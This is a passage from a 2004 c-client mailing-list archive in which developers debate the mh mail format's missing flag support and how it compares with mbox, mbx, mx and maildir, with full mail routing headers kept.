Jun 2004 18:56:38 +0200 Message-Id: Date: Thu, 10 Jun 2004 18:44:32 +0200 (Romance Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[2]: mh not keeping flags intact when doing a check In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004 09:18:59 -0700 (PDT) Mark Crispin wrote: MC> Some people have extended mh format to have a place to store flags, but MC> this is effectively a different format. The only reason to use mh is to MC> interoperate with the ancient mh program. Otherwise, you should use some MC> other format. But MH is the only format among those supported by c-client (except support for it is so poor that it is unusable in practice) which supports folders having both messages and subfolders. It is also "plain text" (and so is preferrable to MBX) and vastly faster than MBOX. For these reasons, it would be a great format to use for me -- if only the driver for it had flags support. Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 10 10:14:24 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 10:14:24 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AHEIuR012063 for ; Thu, 10 Jun 2004 10:14:18 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AHEGv2001512 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 10:14:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AHDGx7015966; Thu, 10 Jun 2004 10:13:16 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AHB0hq066490 for ; Thu, 10 Jun 2004 10:11:00 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AHAx6w027715 for ; Thu, 10 Jun 2004 10:11:00 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AHAs6d024932; Thu, 10 Jun 2004 10:10:54 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AHArkt010649; Thu, 10 Jun 2004 10:10:53 -0700 Message-Id: Date: Thu, 10 Jun 2004 10:10:53 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re[2]: mh not keeping flags intact when doing a check In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004, Vadim Zeitlin wrote: > But MH is the only format among those supported by c-client (except > support for it is so poor that it is unusable in practice) which supports > folders having both messages and subfolders. No, there is also mx format. > It is also "plain text" (and > so is preferrable to MBX) and vastly faster than MBOX. I don't think that you'll find that mh is faster than mbox in general. Some operations (e.g. expunge) may be faster on Linux, but not operations involving many messages (e.g. search). On UNIX (as opposed to Linux), mh is extremely slow. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 10 10:33:44 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 10:33:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AHXiHY012964 for ; Thu, 10 Jun 2004 10:33:44 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AHXgnb026306 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 10:33:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AHWmrS017926; Thu, 10 Jun 2004 10:32:48 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AHUiL5066460 for ; Thu, 10 Jun 2004 10:30:44 -0700 Received: from smtp.tt-solutions.com (lns-th2-4f-81-56-246-156.adsl.proxad.net [81.56.246.156]) by mxe7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AHUc6K016350 for ; Thu, 10 Jun 2004 10:30:39 -0700 Received: from nightfall ([192.168.17.76]) by smtp.tt-solutions.com with esmtp (Exim 3.35 #1 (Debian)) id 1BYTNt-0003jk-00 for ; Thu, 10 Jun 2004 19:30:37 +0200 Message-Id: Date: Thu, 10 Jun 2004 19:30:40 +0200 (Romance Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[3]: mh not keeping flags intact when doing a check In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004 10:10:53 -0700 (PDT) Mark Crispin wrote: MC> On Thu, 10 Jun 2004, Vadim Zeitlin wrote: MC> > But MH is the only format among those supported by c-client (except MC> > support for it is so poor that it is unusable in practice) which supports MC> > folders having both messages and subfolders. MC> MC> No, there is also mx format. Sorry, I forgot about that one. But AFAIK it's very uncommon compared to mbox and mh. In fact, I don't know any programs using it, do you? MC> > It is also "plain text" (and MC> > so is preferrable to MBX) and vastly faster than MBOX. MC> MC> I don't think that you'll find that mh is faster than mbox in general. For a typical usage scenario it definitely is. I didn't do any hard testing but mh was certainly much faster for me than mbox for mailboxes containing from 1000 to 20000 messages. MC> Some operations (e.g. expunge) may be faster on Linux, but not operations MC> involving many messages (e.g. search). MC> MC> On UNIX (as opposed to Linux), mh is extremely slow. Traditional Unix with ufs -- maybe. But modern Unix systems (even other than Unix) have much faster filesystems. If there were any chance of you accepting patches to the mh driver, I would do some tests comparing mbox and mh on a few different systems to prove it. Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 10 11:11:25 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 11:11:25 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AIBOiK015648 for ; Thu, 10 Jun 2004 11:11:24 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AIBK16003908 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 11:11:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AIAi05015930; Thu, 10 Jun 2004 11:10:44 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AI8frO047872 for ; Thu, 10 Jun 2004 11:08:41 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AI8eos017053 for ; Thu, 10 Jun 2004 11:08:40 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AI8dnM030060; Thu, 10 Jun 2004 11:08:39 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AI8dHO012651; Thu, 10 Jun 2004 11:08:39 -0700 Message-Id: Date: Thu, 10 Jun 2004 11:08:39 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re[3]: mh not keeping flags intact when doing a check In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004, Vadim Zeitlin wrote: > Sorry, I forgot about that one. But AFAIK it's very uncommon compared to > mbox and mh. In fact, I don't know any programs using it, do you? Well, gee, you're talking about a hack to extend mh format for c-client that mh itself won't know about. That's a different format. > For a typical usage scenario it definitely is. I didn't do any hard > testing but mh was certainly much faster for me than mbox for mailboxes > containing from 1000 to 20000 messages. With what client? With a POP client hacked to babble IMAP such as Outlook, perhaps. If you actually use IMAP as IMAP, with such things as fetching envelopes and searches, you'll find something different. I'm not interested in optimizing IMAP for POP. > MC> On UNIX (as opposed to Linux), mh is extremely slow. > Traditional Unix with ufs -- maybe. But modern Unix systems (even other > than Unix) have much faster filesystems. I must disagree. I am spending a lot of cycles right now dealing with a modern UNIX system which has a horrendously slow filesystem. > If there were any chance of you > accepting patches to the mh driver, I would do some tests comparing mbox > and mh on a few different systems to prove it. Since those patches won't be compatible with the original mh program, I'm not interested. mh is a dead format. The only purpose to support it is for compatibility with the past; and without that compatibility it isn't worth supporting. The successors in the one-message/one-file style of doing things are such formats as Cyrus, mx, and yes maildir. Getting that style to work well with IMAP is not easy. Nobody has a satisfactory maildir implementation for IMAP; it's either slow, or broken, or incompatible with DJB's maildir definition, or a combination of these. Cyrus has special hacks in the format to support IMAP, and is focused on IMAP-only access (not local file). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 10 11:27:19 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 11:27:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AIRJlb016844 for ; Thu, 10 Jun 2004 11:27:19 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AIRHL3028413 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 11:27:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AIQqki012886; Thu, 10 Jun 2004 11:26:52 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AIOhS9085032 for ; Thu, 10 Jun 2004 11:24:43 -0700 Received: from smtp.tt-solutions.com (lns-th2-4f-81-56-246-156.adsl.proxad.net [81.56.246.156]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AIOdpl002541 for ; Thu, 10 Jun 2004 11:24:40 -0700 Received: from nightfall ([192.168.17.76]) by smtp.tt-solutions.com with esmtp (Exim 3.35 #1 (Debian)) id 1BYUEA-0003pt-00 for ; Thu, 10 Jun 2004 20:24:38 +0200 Message-Id: Date: Thu, 10 Jun 2004 20:24:42 +0200 (Romance Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[4]: mh not keeping flags intact when doing a check In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004 11:08:39 -0700 (PDT) Mark Crispin wrote: MC> On Thu, 10 Jun 2004, Vadim Zeitlin wrote: MC> > Sorry, I forgot about that one. But AFAIK it's very uncommon compared to MC> > mbox and mh. In fact, I don't know any programs using it, do you? MC> MC> Well, gee, you're talking about a hack to extend mh format for c-client MC> that mh itself won't know about. That's a different format. But backwards compatible with MH and mostly (or even fully) compatible with quite a few of modern MUAs which use similar "mh+" formats. MC> > For a typical usage scenario it definitely is. I didn't do any hard MC> > testing but mh was certainly much faster for me than mbox for mailboxes MC> > containing from 1000 to 20000 messages. MC> MC> With what client? Both XFMail and my own Mahogany (using cclient). The performance hit when I had to abandon mh (because flags are too useful to have) was really painful. MC> If you actually use IMAP as IMAP, with such things as MC> fetching envelopes and searches, you'll find something different. I don't see why fetching envelopes would be slow(er), as for searches it's not something that I do every 30 seconds (unlike expunging). MC> > If there were any chance of you MC> > accepting patches to the mh driver, I would do some tests comparing mbox MC> > and mh on a few different systems to prove it. MC> MC> Since those patches won't be compatible with the original mh program, I'm MC> not interested. I might be missing something there but why wouldn't they be compatible? The mh program would still work with these files, just not benefit from any new features. MC> The successors in the one-message/one-file style of doing things are such MC> formats as Cyrus, mx, and yes maildir. I've looked up mx in cclient docs and you write yourself that you have abandoned it -- hardly a good sign. The other 2 are ok except cclient doesn't have support for them... Basically the problem is that the only reasonably well performing format in cclient is mbx but it: 1. doesn't allow dual use mailboxes (yes, I'm one of these strange people) 2. is a binary format with all corresponding problems Having a well-behaving mh driver or a possibility to use an optional index for mbox (as all non-toy programs using this format do) would be great. It's a pity that neither is apparently going to happen. Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 10 12:03:38 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 12:03:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AJ3biv018781 for ; Thu, 10 Jun 2004 12:03:37 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AJ3ZfS006266 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 12:03:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AJ3H5W014446; Thu, 10 Jun 2004 12:03:17 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AJ14Yk019708 for ; Thu, 10 Jun 2004 12:01:04 -0700 Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu [128.255.17.47]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AJ0xFr017114 for ; Thu, 10 Jun 2004 12:00:59 -0700 Received: from server11.icaen.uiowa.edu (server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.12.9/8.12.9) with ESMTP id i5AJ0wWW015510; sent by ; Thu, 10 Jun 2004 14:00:59 -0500 (CDT) Received: from d-is00.icaen.uiowa.edu (d-is00.icaen.uiowa.edu [128.255.17.30]) by server11.icaen.uiowa.edu (8.12.6/smtp-service-1.6) with ESMTP id i5AJ0wPX006505; sent by ; Thu, 10 Jun 2004 14:00:58 -0500 (CDT) Received: (from dbfunk@localhost) by d-is00.icaen.uiowa.edu (8.9.3/client-6.6) id OAA26661; Thu, 10 Jun 2004 14:00:58 -0500 (CDT) Message-Id: Date: Thu, 10 Jun 2004 14:00:58 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David B Funk To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re[3]: mh not keeping flags intact when doing a check In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: clamd / ClamAV version 0.67, clamav-milter version 0.66n X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004, Vadim Zeitlin wrote: > On Thu, 10 Jun 2004 10:10:53 -0700 (PDT) Mark Crispin wrote: > > MC> No, there is also mx format. > > Sorry, I forgot about that one. But AFAIK it's very uncommon compared to > mbox and mh. In fact, I don't know any programs using it, do you? Hmm, programs that can use mx format? Try: pine, ipop3d, imapd, tmail, dmail or any other program that is written to use the 'c-client' library. Say like all the implementations of "webmail" systems based upon PHP which uses the 'c-client' library, such as 'imp' 'squirrelmail' etc. That should get you a few million programs that can use it. Do people actually use it?, we have several thousand clients who use it daily on our imap/pop server. -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ From pinedev@shivax2.cac.washington.edu Thu Jun 10 12:13:01 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 12:13:01 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AJD1h6019605 for ; Thu, 10 Jun 2004 12:13:01 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AJCuWv006678 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 12:12:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AJBdCG015948; Thu, 10 Jun 2004 12:11:40 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AJ9Ynk025062 for ; Thu, 10 Jun 2004 12:09:34 -0700 Received: from smtp.tt-solutions.com (lns-th2-4f-81-56-246-156.adsl.proxad.net [81.56.246.156]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AJ9Via014389 for ; Thu, 10 Jun 2004 12:09:31 -0700 Received: from nightfall ([192.168.17.76]) by smtp.tt-solutions.com with esmtp (Exim 3.35 #1 (Debian)) id 1BYUva-0003xX-00 for ; Thu, 10 Jun 2004 21:09:30 +0200 Message-Id: Date: Thu, 10 Jun 2004 21:09:34 +0200 (Romance Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[4]: mh not keeping flags intact when doing a check In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004 14:00:58 -0500 (CDT) David B Funk wrote: DBF> On Thu, 10 Jun 2004, Vadim Zeitlin wrote: DBF> DBF> > On Thu, 10 Jun 2004 10:10:53 -0700 (PDT) Mark Crispin wrote: DBF> > DBF> > MC> No, there is also mx format. DBF> > DBF> > Sorry, I forgot about that one. But AFAIK it's very uncommon compared to DBF> > mbox and mh. In fact, I don't know any programs using it, do you? DBF> DBF> Hmm, programs that can use mx format? Try: pine, ipop3d, imapd, tmail, DBF> dmail or any other program that is written to use the 'c-client' DBF> library. Of course there was an implicit "except for cclient" in my question, I'm well aware of the fact that cclient supports it. But it could also support an enhanced mh format without problems. Anyhow, I'd be glad to use mx if it were not officially abandoned (see cclient docs). Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 10 13:29:12 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 13:29:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AKTCMI023591 for ; Thu, 10 Jun 2004 13:29:12 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AKTA5F001332 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 13:29:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AKScQ1015370; Thu, 10 Jun 2004 13:28:38 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AKQO34085480 for ; Thu, 10 Jun 2004 13:26:24 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AKQNis020648 for ; Thu, 10 Jun 2004 13:26:23 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AKQHkq005513; Thu, 10 Jun 2004 13:26:17 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AKQGSd021063 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 10 Jun 2004 13:26:17 -0700 Message-Id: Date: Thu, 10 Jun 2004 13:26:16 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re[4]: mh not keeping flags intact when doing a check In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004, Vadim Zeitlin wrote: > Of course there was an implicit "except for cclient" in my question, I'm > well aware of the fact that cclient supports it. But it could also support > an enhanced mh format without problems. Anyhow, I'd be glad to use mx if it > were not officially abandoned (see cclient docs). mx is at least as supported as mh is, and doesn't have the burden of being compatible with ancient history. If there is interest in mx, there would certainly be support/activity. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 10 15:50:27 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 15:50:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AMoRAL031377 for ; Thu, 10 Jun 2004 15:50:27 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by 